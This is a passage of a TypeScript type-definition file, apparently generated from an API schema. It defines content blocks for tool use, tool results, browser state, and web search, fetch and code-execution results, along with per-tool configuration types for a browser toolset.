(ServerToolCaller & { + type: 'code_execution_20250825' + }) + | (ServerToolCaller20260120 & { + type: 'code_execution_20260120' + }) + /** + * @pattern ^[a-zA-Z0-9_-]+$ + * @type string + */ + id: string + input: { + [key: string]: unknown + } + /** + * @minLength 1 + * @maxLength 200 + * @type string + */ + name: string + /** + * @description For a toolset member tool_use, the toolset family this member belongs to. + */ + toolset_name?: string | null + type: 'tool_use' +} + +/** + * @description Tool reference block that can be included in tool_result content. + * @type object + */ +export type RequestToolReferenceBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @minLength 1 + * @maxLength 256 + * @pattern ^[a-zA-Z0-9_-]{1,256}$ + * @type string + */ + tool_name: string + type: 'tool_reference' +} + +/** + * @description A tab this call's execution opened that remains open at its end — + * the creation delta of the `tabs` inventory, not an event log. + * + * Carries only the `tab_id`; the tab's `title` and `url` live on its + * `tabs` entry, which must include the same `tab_id`. A tab opened + * during a failed call gets no deferred `tab_opened`; it simply appears + * in the next result's `tabs` inventory. + * @type object + */ +export type BrowserStateChangeTabOpened = { + /** + * @description The `tab_id` of the opened tab, present in `tabs`. + * @minLength 1 + * @maxLength 4096 + * @pattern ^[^\x00-\x1f\x7f-\x9f\u2028\u2029]*$ + * @type string + */ + tab_id: string + type: 'tab_opened' +} + +/** + * @description A file download that started during this call. + * @type object + */ +export type BrowserStateChangeDownloadStarted = { + /** + * @description The caller-assigned identifier for this download, stable across the state changes reporting it. + * @minLength 1 + * @maxLength 4096 + * @pattern ^[^\x00-\x1f\x7f-\x9f\u2028\u2029]*$ + * @type string + */ + download_id: string + type: 'download_started' + /** + * @description The final post-redirect URL the download was served from. + * @maxLength 4096 + * @pattern ^[^\x00-\x1f\x7f-\x9f\u2028\u2029]*$ + * @type string + */ + url: string +} + +/** + * @description A file download that finished during this call, reported with the + * same `download_id` as its `download_started` — or without a prior + * `download_started`, when the download finished during the call that + * started it (at most one state change per `download_id` per result). + * @type object + */ +export type BrowserStateChangeDownloadCompleted = { + /** + * @description The caller-assigned identifier for this download, stable across the state changes reporting it. + * @minLength 1 + * @maxLength 4096 + * @pattern ^[^\x00-\x1f\x7f-\x9f\u2028\u2029]*$ + * @type string + */ + download_id: string + /** + * @description Where the executor saved the file, on the executor's filesystem. Only included when another tool in the same environment can read the file at that path. + */ + path?: string | null + /** + * @description The completed download's size. + */ + size_bytes?: number | null + type: 'download_completed' + /** + * @description The final post-redirect URL the download was served from. + * @maxLength 4096 + * @pattern ^[^\x00-\x1f\x7f-\x9f\u2028\u2029]*$ + * @type string + */ + url: string +} + +/** + * @description A file download that failed — or was cancelled — during this call. + * @type object + */ +export type BrowserStateChangeDownloadFailed = { + /** + * @description The caller-assigned identifier for this download, stable across the state changes reporting it. + * @minLength 1 + * @maxLength 4096 + * @pattern ^[^\x00-\x1f\x7f-\x9f\u2028\u2029]*$ + * @type string + */ + download_id: string + /** + * @description The failure or cancellation detail, when known. + */ + error?: string | null + type: 'download_failed' + /** + * @description The final post-redirect URL the download was served from. + * @maxLength 4096 + * @pattern ^[^\x00-\x1f\x7f-\x9f\u2028\u2029]*$ + * @type string + */ + url: string +} + +/** + * @description One open browser tab reported in a `browser_state` block's `tabs` + * inventory. + * + * `tab_id` is the caller-assigned identifier for the tab; `title` and + * `url` describe the page the tab is currently showing and may be empty + * strings (a blank tab legitimately has both empty). `active` marks the + * tab that is active after this call; whenever `tabs` is non-empty, + * exactly one entry is marked. + * @type object + */ +export type BrowserStateTabEntry = { + /** + * @description Whether this tab is the active tab after this call. Whenever `tabs` is non-empty, exactly one entry is marked `active: true`. + * @type boolean | undefined + */ + active?: boolean + /** + * @description The caller-assigned identifier for this tab, unique within the inventory. + * @minLength 1 + * @maxLength 4096 + * @pattern ^[^\x00-\x1f\x7f-\x9f\u2028\u2029]*$ + * @type string + */ + tab_id: string + /** + * @description The title of the page the tab is showing. May be empty. + * @maxLength 4096 + * @pattern ^[^\x00-\x1f\x7f-\x9f\u2028\u2029]*$ + * @type string + */ + title: string + /** + * @description The URL of the page the tab is showing. May be empty. + * @maxLength 4096 + * @pattern ^[^\x00-\x1f\x7f-\x9f\u2028\u2029]*$ + * @type string + */ + url: string +} + +/** + * @description The caller's browser state after a browser toolset member call — + * the full inventory of open tabs, which tab is active, and any side + * effects (tabs opened, download state changes) the call produced. + * + * At most one per `tool_result`, only on a non-error result answering a + * browser toolset member `tool_use`. The server renders the + * model-visible text from it; the model never sees the raw fields. + * @type object + */ +export type RequestBrowserStateBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description Tabs opened and download state changes during this call. "Nothing to report" is expressed by omitting the field, never by an empty list. + */ + state_changes?: + | ( + | (BrowserStateChangeTabOpened & { + type: 'tab_opened' + }) + | (BrowserStateChangeDownloadStarted & { + type: 'download_started' + }) + | (BrowserStateChangeDownloadCompleted & { + type: 'download_completed' + }) + | (BrowserStateChangeDownloadFailed & { + type: 'download_failed' + }) + )[] + | null + /** + * @description All tabs open in the browser after this call — the full inventory, not a delta. May be empty. Whenever non-empty, exactly one entry carries `active: true`. + * @type array + */ + tabs: BrowserStateTabEntry[] + type: 'browser_state' +} + +export type RequestToolResultBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + content?: + | string + | ( + | (RequestTextBlock & { + type: 'text' + }) + | (RequestImageBlock & { + type: 'image' + }) + | (RequestSearchResultBlock & { + type: 'search_result' + }) + | (RequestDocumentBlock & { + type: 'document' + }) + | (RequestToolReferenceBlock & { + type: 'tool_reference' + }) + | (RequestBrowserStateBlock & { + type: 'browser_state' + }) + )[] + is_error?: boolean + /** + * @pattern ^[a-zA-Z0-9_-]+$ + * @type string + */ + tool_use_id: string + /** + * @description For a toolset member tool_result, the toolset family of the paired tool_use. + */ + toolset_name?: string | null + type: 'tool_result' +} + +export const requestServerToolUseBlockNameEnum = { + web_search: 'web_search', + web_fetch: 'web_fetch', + code_execution: 'code_execution', + bash_code_execution: 'bash_code_execution', + text_editor_code_execution: 'text_editor_code_execution', + tool_search_tool_regex: 'tool_search_tool_regex', + tool_search_tool_bm25: 'tool_search_tool_bm25', +} as const + +export type RequestServerToolUseBlockNameEnumKey = + (typeof requestServerToolUseBlockNameEnum)[keyof typeof requestServerToolUseBlockNameEnum] + +export type RequestServerToolUseBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + caller?: + | (DirectCaller & { + type: 'direct' + }) + | (ServerToolCaller & { + type: 'code_execution_20250825' + }) + | (ServerToolCaller20260120 & { + type: 'code_execution_20260120' + }) + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + id: string + input: { + [key: string]: unknown + } + name: RequestServerToolUseBlockNameEnumKey + type: 'server_tool_use' +} + +export type RequestWebSearchResultBlock = { + encrypted_content: string + page_age?: string | null + title: string + type: 'web_search_result' + url: string +} + +export const webSearchToolResultErrorCode = { + invalid_tool_input: 'invalid_tool_input', + unavailable: 'unavailable', + max_uses_exceeded: 'max_uses_exceeded', + too_many_requests: 'too_many_requests', + query_too_long: 'query_too_long', + request_too_large: 'request_too_large', +} as const + +export type WebSearchToolResultErrorCodeKey = + (typeof webSearchToolResultErrorCode)[keyof typeof webSearchToolResultErrorCode] + +export type RequestWebSearchToolResultError = { + error_code: WebSearchToolResultErrorCodeKey + type: 'web_search_tool_result_error' +} + +export type RequestWebSearchToolResultBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + caller?: + | (DirectCaller & { + type: 'direct' + }) + | (ServerToolCaller & { + type: 'code_execution_20250825' + }) + | (ServerToolCaller20260120 & { + type: 'code_execution_20260120' + }) + content: RequestWebSearchResultBlock[] | RequestWebSearchToolResultError + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + type: 'web_search_tool_result' +} + +export const webFetchToolResultErrorCode = { + invalid_tool_input: 'invalid_tool_input', + url_too_long: 'url_too_long', + url_not_allowed: 'url_not_allowed', + url_not_in_prior_context: 'url_not_in_prior_context', + url_not_accessible: 'url_not_accessible', + unsupported_content_type: 'unsupported_content_type', + too_many_requests: 'too_many_requests', + max_uses_exceeded: 'max_uses_exceeded', + unavailable: 'unavailable', + content_too_large: 'content_too_large', +} as const + +export type WebFetchToolResultErrorCodeKey = + (typeof webFetchToolResultErrorCode)[keyof typeof webFetchToolResultErrorCode] + +export type RequestWebFetchToolResultError = { + error_code: WebFetchToolResultErrorCodeKey + type: 'web_fetch_tool_result_error' +} + +export type RequestWebFetchResultBlock = { + content: RequestDocumentBlock + /** + * @description ISO 8601 timestamp when the content was retrieved + */ + retrieved_at?: string | null + type: 'web_fetch_result' + /** + * @description Fetched content URL + * @type string + */ + url: string +} + +export type RequestWebFetchToolResultBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + caller?: + | (DirectCaller & { + type: 'direct' + }) + | (ServerToolCaller & { + type: 'code_execution_20250825' + }) + | (ServerToolCaller20260120 & { + type: 'code_execution_20260120' + }) + content: RequestWebFetchToolResultError | RequestWebFetchResultBlock + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + type: 'web_fetch_tool_result' +} + +export const codeExecutionToolResultErrorCode = { + invalid_tool_input: 'invalid_tool_input', + unavailable: 'unavailable', + too_many_requests: 'too_many_requests', + execution_time_exceeded: 'execution_time_exceeded', +} as const + +export type CodeExecutionToolResultErrorCodeKey = + (typeof codeExecutionToolResultErrorCode)[keyof typeof codeExecutionToolResultErrorCode] + +export type RequestCodeExecutionToolResultError = { + error_code: CodeExecutionToolResultErrorCodeKey + type: 'code_execution_tool_result_error' +} + +export type RequestCodeExecutionOutputBlock = { + file_id: string + type: 'code_execution_output' +} + +export type RequestCodeExecutionResultBlock = { + content: RequestCodeExecutionOutputBlock[] + return_code: number + stderr: string + stdout: string + type: 'code_execution_result' +} + +/** + * @description The output and exit code of Python code that Claude ran with the code execution tool, with standard output in encrypted form, sent back in a later request. + * @type object + */ +export type RequestEncryptedCodeExecutionResultBlock = { + content: RequestCodeExecutionOutputBlock[] + encrypted_stdout: string + return_code: number + stderr: string + type: 'encrypted_code_execution_result' +} + +export type RequestCodeExecutionToolResultBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + content: + | RequestCodeExecutionToolResultError + | RequestCodeExecutionResultBlock + | RequestEncryptedCodeExecutionResultBlock + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + type: 'code_execution_tool_result' +} + +export const bashCodeExecutionToolResultErrorCode = { + invalid_tool_input: 'invalid_tool_input', + unavailable: 'unavailable', + too_many_requests: 'too_many_requests', + execution_time_exceeded: 'execution_time_exceeded', + output_file_too_large: 'output_file_too_large', +} as const + +export type BashCodeExecutionToolResultErrorCodeKey = + (typeof bashCodeExecutionToolResultErrorCode)[keyof typeof bashCodeExecutionToolResultErrorCode] + +export type RequestBashCodeExecutionToolResultError = { + error_code: BashCodeExecutionToolResultErrorCodeKey + type: 'bash_code_execution_tool_result_error' +} + +export type RequestBashCodeExecutionOutputBlock = { + file_id: string + type: 'bash_code_execution_output' +} + +export type RequestBashCodeExecutionResultBlock = { + content: RequestBashCodeExecutionOutputBlock[] + return_code: number + stderr: string + stdout: string + type: 'bash_code_execution_result' +} + +export type RequestBashCodeExecutionToolResultBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + content: + | RequestBashCodeExecutionToolResultError + | RequestBashCodeExecutionResultBlock + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + type: 'bash_code_execution_tool_result' +} + +export const textEditorCodeExecutionToolResultErrorCode = { + invalid_tool_input: 'invalid_tool_input', + unavailable: 'unavailable', + too_many_requests: 'too_many_requests', + execution_time_exceeded: 'execution_time_exceeded', + file_not_found: 'file_not_found', +} as const + +export type TextEditorCodeExecutionToolResultErrorCodeKey = + (typeof textEditorCodeExecutionToolResultErrorCode)[keyof typeof textEditorCodeExecutionToolResultErrorCode] + +export type RequestTextEditorCodeExecutionToolResultError = { + error_code: TextEditorCodeExecutionToolResultErrorCodeKey + error_message?: string | null + type: 'text_editor_code_execution_tool_result_error' +} + +export const requestTextEditorCodeExecutionViewResultBlockFileTypeEnum = { + text: 'text', + image: 'image', + pdf: 'pdf', +} as const + +export type RequestTextEditorCodeExecutionViewResultBlockFileTypeEnumKey = + (typeof requestTextEditorCodeExecutionViewResultBlockFileTypeEnum)[keyof typeof requestTextEditorCodeExecutionViewResultBlockFileTypeEnum] + +export type RequestTextEditorCodeExecutionViewResultBlock = { + content: string + file_type: RequestTextEditorCodeExecutionViewResultBlockFileTypeEnumKey + num_lines?: number | null + start_line?: number | null + total_lines?: number | null + type: 'text_editor_code_execution_view_result' +} + +export type RequestTextEditorCodeExecutionCreateResultBlock = { + is_file_update: boolean + type: 'text_editor_code_execution_create_result' +} + +export type RequestTextEditorCodeExecutionStrReplaceResultBlock = { + lines?: string[] | null + new_lines?: number | null + new_start?: number | null + old_lines?: number | null + old_start?: number | null + type: 'text_editor_code_execution_str_replace_result' +} + +export type RequestTextEditorCodeExecutionToolResultBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + content: + | RequestTextEditorCodeExecutionToolResultError + | RequestTextEditorCodeExecutionViewResultBlock + | RequestTextEditorCodeExecutionCreateResultBlock + | RequestTextEditorCodeExecutionStrReplaceResultBlock + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + type: 'text_editor_code_execution_tool_result' +} + +export const toolSearchToolResultErrorCode = { + invalid_tool_input: 'invalid_tool_input', + unavailable: 'unavailable', + too_many_requests: 'too_many_requests', + execution_time_exceeded: 'execution_time_exceeded', +} as const + +export type ToolSearchToolResultErrorCodeKey = + (typeof toolSearchToolResultErrorCode)[keyof typeof toolSearchToolResultErrorCode] + +export type RequestToolSearchToolResultError = { + error_code: ToolSearchToolResultErrorCodeKey + error_message?: string | null + type: 'tool_search_tool_result_error' +} + +export type RequestToolSearchToolSearchResultBlock = { + tool_references: RequestToolReferenceBlock[] + type: 'tool_search_tool_search_result' +} + +export type RequestToolSearchToolResultBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + content: + | RequestToolSearchToolResultError + | RequestToolSearchToolSearchResultBlock + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + type: 'tool_search_tool_result' +} + +/** + * @description A content block that represents a file to be uploaded to the container + * Files uploaded via this block will be available in the container's input directory. + * @type object + */ +export type RequestContainerUploadBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + file_id: string + type: 'container_upload' +} + +export type InputContentBlock = + | (RequestTextBlock & { + type: 'text' + }) + | (RequestImageBlock & { + type: 'image' + }) + | (RequestDocumentBlock & { + type: 'document' + }) + | (RequestSearchResultBlock & { + type: 'search_result' + }) + | (RequestThinkingBlock & { + type: 'thinking' + }) + | (RequestRedactedThinkingBlock & { + type: 'redacted_thinking' + }) + | (RequestToolUseBlock & { + type: 'tool_use' + }) + | (RequestToolResultBlock & { + type: 'tool_result' + }) + | (RequestServerToolUseBlock & { + type: 'server_tool_use' + }) + | (RequestWebSearchToolResultBlock & { + type: 'web_search_tool_result' + }) + | (RequestWebFetchToolResultBlock & { + type: 'web_fetch_tool_result' + }) + | (RequestCodeExecutionToolResultBlock & { + type: 'code_execution_tool_result' + }) + | (RequestBashCodeExecutionToolResultBlock & { + type: 'bash_code_execution_tool_result' + }) + | (RequestTextEditorCodeExecutionToolResultBlock & { + type: 'text_editor_code_execution_tool_result' + }) + | (RequestToolSearchToolResultBlock & { + type: 'tool_search_tool_result' + }) + | (RequestContainerUploadBlock & { + type: 'container_upload' + }) + +export type InputMessageContent = string | InputContentBlock[] + +export type AssistantInputMessage = { + content: InputMessageContent + role: 'assistant' +} + +export type JsonValue = unknown + +export type BashTool20250124 = { + allowed_callers?: AllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + input_examples?: { + [key: string]: JsonValue + }[] + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'bash' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'bash_20250124' +} + +/** + * @description ``close_tab``'s config overrides. + * @type object + */ +export type BrowserCloseTabConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``double_click``'s config overrides. + * @type object + */ +export type BrowserDoubleClickConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``file_upload``'s config overrides. + * @type object + */ +export type BrowserFileUploadConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``find``'s config overrides. + * @type object + */ +export type BrowserFindConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``form_input``'s config overrides. + * @type object + */ +export type BrowserFormInputConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``get_page_text``'s config overrides. + * @type object + */ +export type BrowserGetPageTextConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``hold_key``'s config overrides. + * @type object + */ +export type BrowserHoldKeyConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``hover``'s config overrides. + * @type object + */ +export type BrowserHoverConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``javascript_exec``'s config overrides. + * @type object + */ +export type BrowserJavascriptExecConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``key``'s config overrides. + * @type object + */ +export type BrowserKeyConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``left_click``'s config overrides. + * @type object + */ +export type BrowserLeftClickConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``left_click_drag``'s config overrides. + * @type object + */ +export type BrowserLeftClickDragConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``left_mouse_down``'s config overrides. + * @type object + */ +export type BrowserLeftMouseDownConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``left_mouse_up``'s config overrides. + * @type object + */ +export type BrowserLeftMouseUpConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``list_tabs``'s config overrides. + * @type object + */ +export type BrowserListTabsConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``middle_click``'s config overrides. + * @type object + */ +export type BrowserMiddleClickConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``mouse_move``'s config overrides. + * @type object + */ +export type BrowserMouseMoveConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``navigate``'s config overrides. + * @type object + */ +export type BrowserNavigateConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``new_tab``'s config overrides. + * @type object + */ +export type BrowserNewTabConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``read_console``'s config overrides. + * @type object + */ +export type BrowserReadConsoleConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``read_network``'s config overrides. + * @type object + */ +export type BrowserReadNetworkConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``read_page``'s config overrides. + * @type object + */ +export type BrowserReadPageConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``right_click``'s config overrides. + * @type object + */ +export type BrowserRightClickConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``screenshot``'s config overrides. + * @type object + */ +export type BrowserScreenshotConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``scroll``'s config overrides. + * @type object + */ +export type BrowserScrollConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``scroll_to``'s config overrides. + * @type object + */ +export type BrowserScrollToConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``switch_tab``'s config overrides. + * @type object + */ +export type BrowserSwitchTabConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``triple_click``'s config overrides. + * @type object + */ +export type BrowserTripleClickConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``type``'s config overrides. + * @type object + */ +export type BrowserTypeConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``wait``'s config overrides. + * @type object + */ +export type BrowserWaitConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``zoom``'s config overrides. + * @type object + */ +export type BrowserZoomConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description Per-member configuration for ``browser_toolset_20260801``: one + * optional field per member tool, keyed by the member name — the same + * name the member's ``tool_use`` blocks carry. Every member is an + * accepted key, and a member's defaults apply wherever its key is + * absent. Unknown keys are rejected: the field set is this toolset + * version's complete member set. + * @type object + */ +export type BrowserToolsetConfigs = { + close_tab?: BrowserCloseTabConfig | null + double_click?: BrowserDoubleClickConfig | null + file_upload?: BrowserFileUploadConfig | null + find?: BrowserFindConfig | null + form_input?: BrowserFormInputConfig | null + get_page_text?: BrowserGetPageTextConfig | null + hold_key?: BrowserHoldKeyConfig | null + hover?: BrowserHoverConfig | null + javascript_exec?: BrowserJavascriptExecConfig | null + key?: BrowserKeyConfig | null + left_click?: BrowserLeftClickConfig | null + left_click_drag?: BrowserLeftClickDragConfig | null + left_mouse_down?: BrowserLeftMouseDownConfig | null + left_mouse_up?: BrowserLeftMouseUpConfig | null + list_tabs?: BrowserListTabsConfig | null + middle_click?: BrowserMiddleClickConfig | null + mouse_move?: BrowserMouseMoveConfig | null + navigate?: BrowserNavigateConfig | null + new_tab?: BrowserNewTabConfig | null + read_console?: BrowserReadConsoleConfig | null + read_network?: BrowserReadNetworkConfig | null + read_page?: BrowserReadPageConfig | null + right_click?: BrowserRightClickConfig | null + screenshot?: BrowserScreenshotConfig | null + scroll?: BrowserScrollConfig | null + scroll_to?: BrowserScrollToConfig | null + switch_tab?: BrowserSwitchTabConfig | null + triple_click?: BrowserTripleClickConfig | null + type?: BrowserTypeConfig | null + wait?: BrowserWaitConfig | null + zoom?: BrowserZoomConfig | null +} + +/** + * @description The browser toolset: a single ``tools[]`` entry (carrying no + * ``name``) that declares the browser tool family. The model is served + * the family's tool with any members disabled via ``configs`` removed + * from its schema. + * @type object + */ +export type BrowserToolset20260801 = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | 